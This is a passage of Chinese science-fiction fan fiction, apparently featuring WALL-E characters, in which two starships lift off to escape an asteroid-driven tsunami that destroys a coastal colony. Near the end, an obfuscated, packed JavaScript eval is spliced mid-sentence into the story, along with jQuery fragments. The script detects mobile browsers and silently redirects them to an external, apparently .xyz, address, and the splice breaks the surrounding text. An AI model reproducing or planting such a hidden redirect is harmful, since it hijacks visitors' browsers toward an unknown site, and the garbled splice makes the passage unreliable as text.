“在欧罗拉让我理解忒亚计划之时,我感到一种陌生的冲动,不断驱动我加速毁灭地球。”奥托说,“即使我认为自己不大可能会产生这种仇恨情绪,但我无法辨认来源。它侵入感很强,到最后,我认为是我……改变了小天体的轨迹。” 米勒夫人没有立刻搭话。 “欧罗拉说,西本没有融合成功,是吗?”她突然问。 “是的。” 米勒夫人沉吟片刻。 “他很危险。”米勒夫人正视独眼机器人,有光自双眼转瞬即逝。“奥托,这种仇恨不是来自于你,是来自于西本。他是个狡猾的复仇者。虽然我猜到他不会善罢甘休,但我完全没想到,他能危险到这种程度——” 奥托只看着她,没有反驳。 “——虽然折跃井内的总体情况有些出乎我们的意料,然而,危险很可能藏在更为隐蔽的地方,显然这不是单独一两个人就能够克服的问题,甚至比我们预想的可能还要棘手得多。”米勒夫人转回全息投影,“你说的那个‘新型图灵测试’是什么东西?” “我也不清楚,欧罗拉没有告诉过我它的用途。”独眼机器人仍旧轻轻地说,“它和一般的图灵测试不一样。看起来是图灵测试的模式,但是内容远远超过图灵测试的定义。这应该仍旧是某种筛选,但筛选机制我不清楚。” 他接着陈述草地上碰到的具体题目。米勒夫人听完后,少有地皱起了眉头。 “果然,这是迫使我们去以身试法。”她盯着墙上的资料。“但是这必须——” 她的小队成员之一突然进门,告知她,常量号统帅卡尔上尉正在东海岸,需要和她对话。 “你过去接应,答应他的一切请求。”米勒夫人对那个队员说,并扔过去一个小通讯器。小通讯器亮起绿光,台上某处也跟着亮起。那个队员离开了。待门重新关上,米勒夫人继续开口。 “——我会安排第一批人同你重新前往折跃井。”米勒夫人说,在全息屏上点出几个名单,“在此之前,我需要你尽可能地把那些无法用语言描述的事件想办法,用我们目前一切能用到的载体,让我们知晓。” 桌角那个绿光处开始响起沙沙的声音。然后是海浪,是小艇电动马达的营营声。 房间再度响起敲门声,推门,那个高瘦的新来者看到眼前两人,愣了。 “好久不见,劳伦斯。”米勒夫人不冷不热地招呼道。高瘦生物学家有些不知所措地关上门,拘谨地坐在奥托的对面,和银色机器人大眼瞪小眼。“现在,你放在脑子里的那个小东西终于能派上用场了。奥托,你把这一切都经由你们的连接交流给他。” 桌角开始传来人声。米勒夫人不再理会旁边面对面的两个客人,而是专心听海上的对话。 【你看到折跃井了?】劳伦斯盯着银色机器人,即使他明白盯不出任何东西。 【它允许我进入了。】奥托说。看到劳伦斯脸上那股艳羡又嫉妒的神情。 奥托通过这个细细的连接,正从那幅发着光的平静的、蓝绿色彩的画面讲起,隔壁突然而起的争吵声猛然截断了这脆弱的连接。 “我坚持要求马上见到米勒本人。这些事情你不了解,我也不可能在这里和你解释。”卡尔上尉的声音灌进房间,“除非你现在马上联系到她,否则我不会因为你的任何承诺妥协并离开。” “我就是米勒夫人。卡尔上尉有何急事?”米勒夫人按下桌角键,说。 “我猜你昨夜也收到了同样的光片,有关折跃井和地球镇未来的。”卡尔上尉说,“不管你是如何看待里面所述,我请求你帮忙发射公理号可用的探测飞船来充当空间观测卫星。并且,提议定位地球镇内HEG组件位置。” 奥托忍不住望向米勒夫人,但没有作声。 “这个组件我不是很熟,需要一定时间去查找。它不一定在O区。”米勒夫人回答,“而关于观测卫星,我完全能理解你的心情。但是,这事情不需要着急了。” “你这话什么意思?” “因为我们已经看到了。”米勒夫人说。“光片里说的没错。那颗小行星恰好被我们观测到,并且,预测大小和下落的位置与光片内预测的基本一致。我马上就可以把这颗小行星的轨道与直径给你发过去。”她接着说,声音仍旧平静而洪亮。“回去准备抗灾吧。” 屋内和通讯骤然陷入一片寂静。 34. 二十八(1) 阴沉的海湾,尖锐、冗长的警报声自镇上某处和公理号响起,此起彼伏,仿佛将永无停歇。 接到疏散通知的大区居民拖家带口,以及能带走的全部家当,如同蚁群般缓慢涌入北面,涌入O区辖区。滞留在地面的常量号“难民”,也拖着身上的机械骨骼,一步一挪行向高地。 在浩浩荡荡的迁移大军北上之时,一阵隆隆声自公理号方向轻微发出。忽明忽暗的黄白光点拖着长长的烟尘尾巴,逐渐隐没在云层中。人们只向后望了一眼,面上毫无讶异之情,都沉默地继续向前走去。 “差不多得了啊。”格兰德望着那个在云层中若隐若现的光点,后方的尾迹已经开始被南风吹散,歪歪曲曲地盘成愈发难以辨认的S形。他站在人潮外侧,叉着手望着他们接受关卡检查,偶尔望向海面。旁边则是几乎和他一样高的女人,也看着人潮的缓慢活动。“有关公理号的事情,你不要再过多插手。” “你们太不珍惜它了,让我很着急。”米勒面无表情说,“地球为根的信仰固然支撑人们在地面生存,但显然,这个信仰现在过时了。”她冷冷扫过西海面,那里也有人涌过来,那是常量号的船员。“大家的眼睛都是雪亮的,你不可能把他们一直瞒到底。” 格兰德没有看向米勒。老人一直紧缩眉头,严肃不已。 “你懂什么……”格兰德低声说,声音几乎被阵阵冷风淹没。他突然看向米勒,老眼若鹰。“别找这么冠冕堂皇的理由,公理号的今天,是O区逼的。”他看到米勒一闪而过的扬眉。“别拿人类命运患难与共来讲道理,别以为我们能有多共产,米勒,多关心一下你们O区吧,都是高精尖知识分子,想要捣乱的人比大区多得多。” “我明白你讲的什么意思。”米勒依然望着正在缓慢移动的常量号人。“但是如果你把时间拖得太久,让大家来不及离开,这就是你的不作为了。和坚持什么理念,或者又是其他什么考虑没有关系。” “你还是不理解。”格兰德望着人群,露出一点微笑,随即转头严肃盯着女人。“这么长时间,我给过你们机会,也采纳了你们的建议。但你们兑现过承诺吗?”他眯起眼睛,“连最基本的信任都没给过。” “事实证明,上帝没有站在我们这边,而是决定惩罚我们这群有原罪的人。最后我们不得不走到同一条路上,我也不希望这样。” “这又如何?”格兰德继续用犀利的眼神盯着米勒,“除非你们真的让我信任你们,否则这个转让协议我坚决不会签。” “老实说,格兰德。”米勒夫人也冷冷盯着老人,“如果你真的那么在意这个,公理号的安保也不至于这样形同虚设。”她指向庞大的船体,“你也知道,只要O区想,拿下公理号轻而易举。” “是我们在给你机会,格兰德。”米勒夫人继续说,“去告知人民,根据事实打破祖训,救下地球镇,还是固守己见,最后身败名裂,是你的选择。” “谢谢你如此关心我的人民,老巫师。但是,你们真是高看了地球镇的信仰,也高看了我对名声的追求。就算你这样逼迫我,也没有多大用处。”格兰德沧桑的面孔望向海面,“我早就知道,这个职位所在的政区力量,决定它注定凶多吉少。你以为我为了名誉才一直没有退休吗?不。是因为我太了解O区了,太了解你们是怎么想的,光你一个人,根本没法撼动你们O区这棵大树。”他盯着米勒,话语透着冰冷。 “回去报信吧,你们要抢就抢,没必要假惺惺地在这里搞人道主义。要谴责我失职,要造谣我投敌,就请便。我和人民患难与共,他们的性命算到我头上。”格兰德说,“但是,如果你这个人确实关心地球镇的人,就拿出点你老巫师的本事,给他们点人道主义关怀,别多给我添乱,好吧。” 米勒夫人没有作声。 格兰德看着米勒,勾起嘴角冷哼一声。“你们那些眼花缭乱的小把戏做得可真没底气。”他说,亮出一枚光片。“这一卷预言,是奥托帮你淘到的吧?” “我在思考,就算是镇压有识之士,你有必要自损一将吗?”米勒夫人瞟了眼光片,扬起眉毛。 “显然他也没服从你们。”格兰德说。“如果你真的和你声称的一样,是为地球镇服务的,我倒是有个诉求。” “什么?” “让欧罗拉扩大超空间基地的容量。”格兰德望着公理号,“这大概会皆大欢喜吧?” 米勒夫人睁大双眼,随即陷入沉思。 汉扛着沉重的家当,再度进入O区关卡。这次身后跟着家人。 关卡一过,他就听到父母在身后絮絮叨叨聊天。即使O区允许接纳大区居民,父母对O区仍然非常有成见,借着其他居民的喧嚣,不断谴责O区人如此轻视农业种植,自己拒绝开垦,又非常趾高气扬,吃着大区的农产品还对农民充满鄙夷。这种行为简直是对麦克雷舰长祖训的离经叛道。末了还提醒汉,虽然他从小不喜欢农业,但不要成为像O区人那样的人。 汉听着父母的聊天非常紧张,连连左顾右盼,生怕有人听到他们聊的内容。他急忙让父母小声点说,毕竟这不是大区。但似乎父母越说越来劲。少年只好沉默地继续扛着自己的行李,脚步急急地往前走,害怕有人过来截住他,问身后两人和他的关系。 少年还很苦恼。每当自己想对父母说什么的时候,总是碰上他们在否定自己要聊的话题。但是随着事情不断发生,他的担忧与日渐增。现在又到了地球镇要首次疏散的大灾将近之时,汉觉得他必须找个时间说出他的想法。 “呃,爸,妈,我……想和你们说点事。”他们将行李放在临时安顿房时,少年开口了。 “我……你们有没有觉得,地球镇最近发生的事情非常奇怪?”他谨慎地说。“比如,百年不遇的病灾,又有飞船降落,又是要有海啸什么的……” “安稳过了那么久,总是要有点大波大浪嘛。”农民拆开包裹,分拣行李。“你小子少见多怪。” “不是的!”汉就怕他们这样说,“我觉得这真不太对劲。万一真是地球镇要出什么事——” “汉!”妇人紧张地盯着孩子,“你别乱说。这里是我们的家。” “我……我就是想说这个……”少年站在房间一角,双手紧张地捏成一团,“万一……万一,真的是地球镇要出事,我希望你们去上飞船……别留在这……”他低下头,不敢直视父母的目光。 屋子里一阵可怕的沉默。 他下意识缩起脖子。这种沉默预示着接下来父亲的爆发。但是过了很久,鞋底的凌风都没有扇到他身上。 “我……希望你们好……好好的……”他终于有勇气把剩下半句说完。 两个农民仍然沉默地翻检物品。他仍然站在角落,不知道该如何反应。但很快,他听到一声抽噎。农妇依然倔强地背对他,但汉知道,母亲不想让他看到自己的表情。 “我们哪里有机会上飞船,汉?”过了好久,农妇带着哭腔说,“哪里有人还会去修公理号,它走都走不了。我们都得在地面上等死。” “不不,事情不是这样的!”汉睁大眼睛,他就知道母亲会这么说。“还有一艘飞船,常量号,他们会带你们走。” “他们排外得很,哪里会让地球镇的人上去。”强壮农民头也不抬说。“你小子在O区呆太久了,哪里知道这些常量号人,把我们的救援行动当抢劫,对我们地球镇人大肆射杀,这些事他们的机器人都干得出来!简直反了!” “所以他们就算请我,我也不会上去。”农民站起身,盯着少年。“上去就是低人一等,他们这德性,迟早得让我们这些外乡人过得生不如死。与其寄人篱下,还不如留家,起码过得有脾气。” 农妇还在哭。农民上前拍拍农妇,企图安抚她的情绪。 汉心如乱麻,又感觉绞榨似的痛。父母对常量号的评价比对O区的还负面,他还怎么敢说自己还在常量号上呆过!父母要是知道了,必定会就觉悟问题数落他一顿,狠批他为了生存就没有骨气,也不会听他辩解。而且不像之前重启奥托那次,这次没有人替他发声了。 但是他不能就这样把父母留在地球上撒手不管。一想到他们在地面上毫无保障,随时都可能出意外,他就非常焦虑。他必须说服父母上常量号。“那……那个,奥托他也认为上飞船最好,然后经过他我认识了常量号的自动驾驶,他同意让我呆在常量号上。”少年越说,越大胆起来,“他们同意让我上船,他们就会同意让你们上船!他们完全理解我和家人团聚的愿望,所以——” “这怎么可能?”农民叉起手,“每个人都这样想,都带几个人上去,到头来还不是全部都上去?他们怎么可能不知道这个道理?”男人把一个折叠包丢给汉。“你也别听他们那保证,他们那保证指不定哪时就变卦。”他还想说点什么,最终没说出来,而是转回去继续沉默干活。 汉听到父亲最后一句,不禁犹豫了。他看着折叠包,丝毫没有解开干活的欲望。不行。他把折叠包放在脚边。他不能让爸妈就这么放弃生存的机会。“爸,妈,除了我,他们没有接受其他人,所以你们别告诉其他人,就只多出你们俩,我能说服他们接受你们的!”他继续鼓起勇气,“他们对我的态度并不差!我无论如何,都得尽量让他们收留我们!我……不能让你们留在地上,光我活下来,把你们丢在地上等……等死……” 他好不容易说出最后一句。说完了只感到浑身战栗。 农民夫妇都沉默了。你们别哭啦。母亲的啜泣声让他心揪,父亲的言语让他陷入怀疑和恐慌。汉不自在地抓着折叠包的布,这个时候,他宁可活在虚假的希望里,也不想父亲告诉他有这种可怕的可能。 “总……总之,你们有我!我无论如何都要让你们上飞船!……”仿佛完成任务般疾速吐出这句话之后,汉迅速背过去开始干活。他害怕继续面对父母的反应,也害怕继续被带跑情绪。 常量号的舰桥已无人类身影。只有那个银色身躯正襟危坐。 其他人和机器人都已下船避灾。这艘飞船还剩下的寥寥少数人类,以及几乎同等数量的少数机器人,在灾前数小时争分夺秒地巡查自己管理的单元,负责为其他常量号舰员全力保障大后方。接下来,仍然残破不堪的常量号能否避过这个灾难,就得凭他们的所有努力了。 科林将自己固定在座位上,仿生神经成功连进常量号电脑,待机同时,回忆起一天前的情景。尽管理论上,能在太空中扛过超空间跃迁、恒星高温炙烤和星系边缘极寒、细小却高速的微陨石粒攻击和伽马射线暴等的常量号,并不见得抵抗不过地球上的汹涌海墙。但谨慎起见,常量号仍然决定采取措施。在地球镇的强烈恳求下,常量号倒不像之前一般吝啬,将自己的避灾计划全盘道给地球镇,地球镇也答应给予常量号地面支持。两者一起开放了通讯范围,常量号总算和地球镇达成了第一次合作。 听完他们的对话,科林只暗自耸肩。即使公理号也想用相同方式避灾,剩下不到2天时间,缺乏修缮的公理号执行起来也有相当的难度。况且,看起来他们不愿意把飞船控制权交给奥托。如果是人力控制就更有意思了。而他也确实看到公理号上有人进去。这样的话,为了不让两边借着避灾名义宣告飞船主权,要么采用各自的心腹一同控制,要么监督第三方进行控制。无论哪种方式,想必地球镇上都在这定时炸弹的倒计时中吵得不可开交呢。 直到现在,他都没有看到公理号测试反推系统与第一宇宙速度发动机。按照计算,那颗陨石已经进入地球轨道,而且速度很快。虽然他们看不见陨石划过天顶的景象,危险却不见得减少多少——陨石入海激起的巨浪是有方向的,很不幸,地球镇几乎面向最大的激波。可想而知,这次海啸不比以往的巨浪,海浪推进速度将极快,破坏力极强。不止大区,连海拔较高的O区都会被波及一大部分。 他在与卡尔上尉道别之时,已经告诫过他们尽早占据高地。即使常量号已经过数次反复检查,他们所处位置决定了风险大小。卡尔上尉和大佬临走前,他意味深长地目送他们离开。经由CCNS,大佬不用回应也知道那目光里意味什么。小机器人默默扬起一只机械爪,向科林敬礼。 公理号突然周身亮起黯淡的光幕,它忽明忽暗几下,才逐渐稳定成几乎看不见的浅浅蓝色光雾,光雾上面还有几块残缺。这也太慢了。科林心想。他不由得想起常量号的效率,只是因为在长期的联合生存纲领统治下,常量号全体成员思想高度统一,才能获得高度协同的执行力。假设常量号中间有所分裂,必定会像地球镇现在这样拖延时间,就和当年苦苦寻找宜居星球一样。 这个推测让科林感到不寒而栗,但是此时,他到底还是有机会从一个旁观者的角度去观察地球镇的选择。但同时,他心底里也再次扬起对地球镇的厌恶。不管公理号在这场大灾中表现如何。他想。这只让我更加反对同地球镇合作。 如同一滴清水滴进一碗酱汁,清水不仅不能稀释多少酱汁,反而会被酱汁污染得面目全非。常量号人相比地球镇,正如清水之如酱汁。远观尚可,但与地球镇人接触得越多,常量号恐怕又会出现之前那种分裂态势。但卡尔上尉似乎不这么想。 但愿你不要是那第三者,卡尔上尉。他只能默默祈祷。图一时的利益达成交易,却给自己埋下无穷后患。 不久,公理号的反推喷口一个,又一个缓慢开启。至少电脑控制不成问题。科林边看边想。随后,公理号的4个第一宇宙速度推进器也陆续轰然作响。赤黄色的火焰冲向下方,将海水蒸发成大片白雾,逐渐笼罩了整个船只。 算你们运气好。姗姗来迟的公理号的测试终于赶在大灾之前完成了。知道公理号一直没有进行过发动机维护的科林嗤了一声。不过假设奥托确实没骗他,卡尔上尉倒还真可能误打正着,选了个值得去用舰员的内部分裂来换的交易。公理号体积之大,内部破坏之广,但现在仍能运作,这让科林着实有些诧异。 算啦,让海啸来证明公理号值不值得这笔交易吧。科林重新把精力放在控制台上,再次通知舰内留守的先锋队,对第一宇宙速度推进器作最后一次检查。那颗陨石刚刚进入最后一圈,很快,它就会自赤道南面进入大气层一路北上。 它进入了大气层,这个消息自折跃井迅速向外扩散,到整个O区,穿过大区,到海上的两艘巨船。地球镇辖区霎时静默无言,所有人都屏息凝视着那个流星体,期望从一点点风声中确切听到它的到访,即使理智知道那是徒劳。 就是现在!流星体进入大气层的信息好似发令号响,科林立即启动了第一宇宙速度发动机,火焰自飞船侧面向下喷出,海水剧烈蒸腾,连带喷射出的气体合为浓稠的云雾,这次没笼罩常量号的船身,因为被球形蓝色力场环绕的飞船迅速上升。巨舰泊脚离开海水带起滔天巨响。隔壁的公理号也效仿常量号,他们略微慢了一步,仍然成功将巨舰带离海面。然而,浓雾中突然传来震耳欲聋的喀嚓声和被海水埋没的、令人毛骨悚然的尖锐摩擦声。等到公理号全舰终于从雾中完全显现,科林发现,公理号以前尖锐的泊脚赫然折断——长久的海蚀将飞船泊脚与海床融为一体,它没能撑住上升力量对脆弱自身的拉扯,被硬生生撕扯成两半。 抗灾第一步,即在灾前将飞船升空,远离泊位,从根本上杜绝海水冲击与陨石撞击的震动损害。第二步,飞船悬停在低层大气层内,观测前期巨浪的高度与规模,为地球镇变更避灾地址提供第一手资料,同时,飞船也能避免因自身结构尚未完整,从而在高空或太空出现的舱内失压事故,或再次的未知流星体攻击。第三步,等到海面平息,巨浪回波也停止后,飞船重新落地,继续进行整修与地面人员救治。所幸,常量号在这半个月内浓集了部分化学推进燃料,尚能顶得住这一次升空。不然常量号只能老实呆在原地,被动挨海墙攻击。 早知道当时去木星备一点燃料再落地,省得现在这么被动。科林沉默地盯着海面。发动机输出功率已经稳定,接下来的就是维持高度。公理号迟一步到达目标高度,两艘沉重的巨型飞船如同悬停在空中的堡垒,压在海面上空。 就在目睹两艘飞船升空之时,突然,地球镇的所有人都感到了强烈的地动山摇。临时收留棚内惊叫声骤起,不少人当场就开始哭泣。负责维持秩序的机器人立即开始警戒,不断告诫人们保持镇定,不要盲目离开。但仍然有人按捺不住,想要逃往高地,被机器警卫拦了下去。虽然如此,所有悬浮机器人也开始就位,随时准备快速转移人员与重要设施。 这一波震动持续了数秒,接踵而至的是更长时间的余波。科林即使在空中,也看到了泊位的霎时移位。接到移位警报后,科林不禁庆幸。假如是有震感了再起飞,估计飞船内部会被冲击,然后很可能拖延起飞时间,从而错过避灾时机。 很快他看到了。海平面好似突然翻起什么,似乎乌云涌起,又好像远在天边的暗淡山脉。科林立刻估算出海浪的高度,传送给地球镇。公理号应该也在做着相同的事情。地球镇将折跃井与两艘飞船给出的数据进行比对,再反馈给他们。50米、45米、40米……陨石掉落的地点比较远,虽然推进速度很快,但高度衰减得也很快。但由于地球镇处于海湾,现在衰减的海浪,接近海岸之时仍可能再升高,出现第二次浪峰。虽然这在预计范围内,科林却一点都不轻松——地球镇不允许灾民擅自后撤到高地,这也包括常量号船员。万一有所欠缺考虑,这种做法不仅伤害自己居民,还损害常量号的自主权。他已经给地面发去后撤提醒,却认为对方大概率并没有采用。不然,此时通讯已经因为撤退的搬运而变得乱糟糟了。 乌黑的海浪快速卷来,和他们预计的一样,海浪再次升高,速度仍然很快。近40米高的海浪拍击到泊区的飞船泊位上,激起巨大的浪花,又被浊浪所淹没。幸好没有留在泊位上。否则这种持续不断的冲击力,常量号的力场保护很可能顶不住。科林看着海浪没过泊位,也听不到海浪的巨响。他隐隐约约在浪中看到了巨大的不明碎片,可能来自于流星体,也可能来自于海床上掀起的礁石片,仍被海浪携带着,快速穿过承舰柱,继续汹涌奔向海岸。 污浊的浪扑到陆地上,挟带着巨量的海底碎片。后方隆起的海面推着前浪快速向前推进,丝毫没有衰减的趋势。地球镇的渔船被猛地扯起,卷入海浪;海边的防风林连根拔起;近海农田全数淹没;大区居民区房屋霎时冲垮。进入海湾河流的海水气势瞬间盖过世纪大潮,滔天巨浪扑向断桥,重重盖过那座瓦力运输车。海水冲开了高墙,继续涌入O区境内。巨量的海流宛若碎屑流,在这片刚殖民150年的土地上一路横扫,势不可挡。 留在O区后方的避难者心惊胆战地盯着大区的留置摄像头和两艘飞船发回来的画面。突然人群中传来惊呼,大区的画面霎时变成黑暗。人群传来骚动,失去海浪定位的人们惊恐站起,尖声惊叫地朝后方奔去,蜂拥着突破维持秩序的机器人群。他们已经听到愈来愈近的波涛声,甚至都看到了那灰黑色的、朝自己涌过来的浪锋。不同的收容地都出现了同样的情况,横冲直撞的人们不顾一切地打破任何阻拦,被踩踏者比比皆是。只有少数人留在原地苦苦保护在场设备,用自己的身躯阻挡,甚至遭受堪比海啸的人潮袭击。 直到半个多小时后,在陆地上肆虐一片的海水才刷拉拉地向后撤去。海面上到处都是刚刚卷倒的树木和房屋碎片,被后撤海水逐渐卷进深渊。留下的即是飓风大灾也无可与其比拟的狼藉景象——放眼望去,大区碎片遍地,原先的一切都几近无法被辨认。几乎所有的建筑都被夷平;农田不复存在,被碎块和垃圾重新填满,恍若重新回到150年前。那些人造的痕迹,除了垃圾,永恒的、巨量的垃圾,其他的、150年来微薄的人造改变,被海啸彻底抹平。只有海拔较高的O区,尚能幸免部分,但南面辖区仍然被严重破坏,损失惨重。 已经目睹到家园尽失的大区难民们嚎啕不已。O区人表情凝重,面面相觑。身着抗重力外骨骼的瘦高常量号人是最沉默的一群个体,他们目不转睛地盯着悬浮在空中的巨型堡垒,祈祷着一线后方不要出事。 还没完呢。米勒夫人盯着海面画面。前哨仅剩两艘悬浮飞船,它们均未解除警戒。这意味着,即使大家已经遭受重创,这一切都仍然没有结束,还不到放松警惕的时候。 一颗石子抛入水中,可激起一圈一圈的涟漪,若是浅水,石头砸在地面上仍可增强水波。海面也不例外。很快,科林再次看到海平面涌起巨浪。再次对地球镇发去警报。即使这次海浪规模已大不如前,对地球镇造成的损害也无以复加。甚至预想得到,接下来的几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706300|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时还会有数次逐次递减的海浪袭击,甚至到最后,规模就最多相当于飓风卷起的狂浪,常量号也能轻松抵御。但科林仍然决定悬停空中,直到威胁彻底解除——除非,常量号再一次耗尽化学燃料,或者出现难以预料的意外—— 第二次浪涌过后,公理号的高度突然下降了。 “公理号,什么情况?”科林立即接入公理号舰桥。即使这艘飞船与他无关,难捱它与常量号距离实在太近,万一有所意外,这艘飞船的故障极有可能波及常量号。 “4号第一宇速推进器冷却网故障,正在降低输出功率,亟需排险。”对方同样清冷的金属声调涌入常量号舰桥,科林不禁大吃一惊——他们居然信任了奥托! “是否需要支援?”科林再次检查常量号第一宇速推进体系运作情况,以及在岗留舰成员,确认本舰运作一切顺利后,最终向公理号问出。 “无需。故障尚可自行处理,但着陆不可避免。需你舰密切观测海面,提供精细预警。”奥托冷静回应。 “协助同意。祝你好运。”公理号始终没有传送舰桥画面,科林不置可否地回答。公理号现在才出问题,已经是在这种情况下,老天给予他们最大的恩泽了。 公理号的高度持续缓慢下降,稳稳落在承舰柱上,四个第一宇速推进器的火焰都缓慢消失。就在此时,奥托的声音突然传入常量号:“降落时留意余震与承舰柱位移。” “公理号请警戒第三次余波。约27分钟到达你舰泊位。”奥托报告余震后不久,科林的声音传入公理号舰桥。 第三次余波紧随余震,再次出现在海平面。但是这次,海浪的规模已经小了很多,公理号理论上在地面上可以顺利抵抗。它也只能冲击到大区南面了。 科林紧紧盯着底下公理号的一举一动。公理号已经表现出上百年未维护推进系统的结果,现在将继续考验,这艘防御也破溃不堪的A级飞船能否用残躯抵御浪墙,即使看起来,巨大的公理号与低矮的浪墙相比,确实胜算比刚刚的重力更大。 海墙如时涌过公理号低层船舱。笼罩着残破淡蓝色力场护盾的巨型飞船纹丝未动。看起来公理号通过了考验。海浪涌上大区南部,那里曾经是农田,现在被第三波海水卷起垃圾,夷平得只剩湿润的、光秃秃的土地。海面正逐渐趋于平静,但是飘满了垃圾,仍不乏大块的碎片,在海湾来回晃动,穿行于泊区的承舰柱之间。 【老天爷啊。】 伊芙和瓦力早撤离到O区境内。他们无法亲眼目睹海湾境况,却通过大区内留置的摄像头,看到海墙高高漫过泊位,又狠狠朝陆地拍下来的惊人场面。他们留意到那座桥上,一同居住长达两个世纪的温暖小屋,在空前的巨浪面前,霎时被浊流所冲垮。水流散去,所余仅剩空桥。 和奥托共享给他们的画面几乎一模一样。 【我改主意了,瓦力。】伊芙抱起黄色机器人,瓦力用望远镜般的镜头诧异地望着雪白机器人。【之前我还有所怀疑,但现在,看来事态的确不简单。】 【我们要去哪里?】瓦力问。 【找到奥托。我要重新和他好好谈谈。】伊芙突破了音障,下方的狼藉残垣蒸腾着令人窒息的潮湿气息,【他这家伙一定还知道些什么。】 公理号的舰桥落地窗仍被反光薄膜所覆盖,奥托只能通过仍在运作的舰载监控获知舰内外景象。他并没有像科林那样直接经由电脑控制飞船。撕裂的底层船舱让海水涌进飞船,他只能封闭所有通往上层船舱的通道,防止积水进一步升高。但这的确削弱了公理号的稳定性,海浪冲击让飞船产生了微小的偏移,几乎不能为人所感受到。但他可以设想,假设是第一波巨浪,就算以公理号的体量,都未必能够抵抗得了,舰上损失很可能比现在更大。 他将公理号的舰内损害情况汇报给米勒夫人,没有理会背后站着监视他一举一动的两个人。他认识他们,就是在那个封闭房间里,将他捆在金属椅上接受电击的那两个人。但他已经懒得回忆那段时光,自然也无从顾虑。 他靠在固定位置的悬浮椅上,盯着舰外画面,海水再次从地球镇后撤,常量号在空中安然无恙。他不禁想起在瓦力的运输车里见到的幻象。谁料此时,常量号没有被海水冲垮,而是主动绕开了那个结局。 那么这个幻象意义何在?他不禁思考。这说明,欧罗拉所谓的未来事件链,在大家主动做出措施之后,到底是不堪一击。这是否就是欧罗拉所讲的强观察者的干预作用?假设是这样,那么—— 他定住了。 如果让欧罗拉具备强观察者能力,这就意味着,大家很可能连翻盘的机会都没有了。 这个推测让他胆寒。 但他看不到地球镇更多的未来。在亦真亦假的海啸幻象之后,或许是时间推移,欧罗拉的影响趋于消散,抑或是因为后续的流星体下落地点远离地球镇,产生的影响不会直接波及这里,这个地方后续就一直如常。除了被流星体下落激起的尘埃导致的阴沉夏天。它在奥托的视角里好似鬼城,没有任何人的活动,只有静悄悄的地球镇,从未被修复的大区残垣、淹没的农田,残缺的O区和沉寂在海上的两艘飞船,直到最后的忒亚二号降临,将这一切化为火海。 当了解这一切后,刚从折跃井回地球镇时的那种奇怪的木然就消散了。那种状态令他感到不安。明明自己意识清楚,却好似与外界隔离,也不愿意建立联系,好像现在这个世界对他而言才是很陌生似的。或许这只是因为一下子无法适应这么大的信息量。但他不确定,未来是否还会存在这种情况。即使他肯定,再次接入欧罗拉势在必行。 海面的回波与他预测的类似,不再有更高的激荡。米勒夫人共享来的折跃井预告也一致。科林也没有再观测到更高的海浪。回波不再侵扰更高海拔,即使后续仍然存在陨石改变地质层结构引发的地震,因此,飓风影响一样的高浪仍然会持续数日。但对于飞船而言,将不再是威胁。 奥托率先降级了预警,随后常量号也不情愿地解除了警报。奥托看到,常量号这才缓缓降低高度,逐渐接近自己的泊位。 一切都正常。科林密切关注奥托所述的承舰柱移位情况,但测量数据表明移位不明显,在承重常量号的误差范围内。他精巧地调整反推喷射口的输出功率,让巨型飞船轻柔、缓慢地落在承舰柱上,完美的操作无人可敌。海水的剧烈回波不断冲击常量号船体,即使有力场的阻拦,也挡不住常量号跟着感受到海水的摇晃。常量号早因为之前的着陆失去了第三支点,只能靠承舰柱来维持平衡。每当想到这个,科林都会有所不适。未来的飞船改建计划,必须发展出独立的着陆结构,才能彻底脱离BNL对民用飞船着陆地点的垄断与控制,由此获得彻底的外星殖民能力。 常量号的功率在着陆后不断下降,轻柔的嗡嗡声逐渐减小,频率降低,渐不可闻。到此为止,常量号表现都非常优秀,没有任何一个部件出故障,这是良好维护的结果。科林将自己从常量号电脑中拔出来,解开安全束缚,对全体常量号人宣布飞船避灾成功。 常量号人群爆发出一阵欢呼。然而,这股欢呼突然卡在了一半,随后立即变为惊呼。几乎所有的人都站了起来,不敢相信自己看到的一切。 科林正奇怪为何突然那边传来异样的惊呼。他刚检查过化学燃料存储,解散舰上人员,打算继续分解海水获得氢时,就在这时,控制台上某处传来警示音。科林前去检查,疑惑地发现定位来自舰尾与承舰柱的接触点。电脑给出的警示是支撑不稳定,却没有更多信息。 科林大为吃惊,同时毫无头绪,只能重新将自己连入电脑,打算自己去一探究竟。在他刚刚重新接入电脑时,他猛然感到,常量号舰体突然一震。随即舰桥的舷窗外突然变了画面。原先窗外海天各据一方,但此时,海平面骤然下移,阴沉的、布满云的天空突然占据舷窗。他立即向后滑倒。舰桥内警铃骤然大作。 他在恐慌中好不容易找到问题点,却骇然发现,原先舰尾的支持力已经趋向于零。舰桥一直在移动,他再次不受控制地猛然向右摔倒,贴在地面上向下滑去,接入电脑的数条数据线猛地扯住了他,让他好似吊在悬崖边上一般,连可供攀扶的支撑物都没有。 失重的感觉仍然持续,科林这才猛然意识过来——常量号失去了舰尾承舰柱的支持,重心早已偏移,全舰正不受控制地从泊位滑落,舰体整个向海湾侧翻而去。他慌乱地想重新开启舰侧姿态调整喷射口,妄求在落地前,通过那微薄的反向推进力支撑住船体。但是早已来不及了。 “常量号回答!”远远的控制台传来奥托的机械音,不再冷静从容。 科林却无暇回答。常量号开始从主船舱侧面传来吱吱嘎嘎的尖锐响声,他弹出脚上的钢钉,狠狠踢进舰桥地板,同时对舰内广播和CCNS吼道:“快撤——” 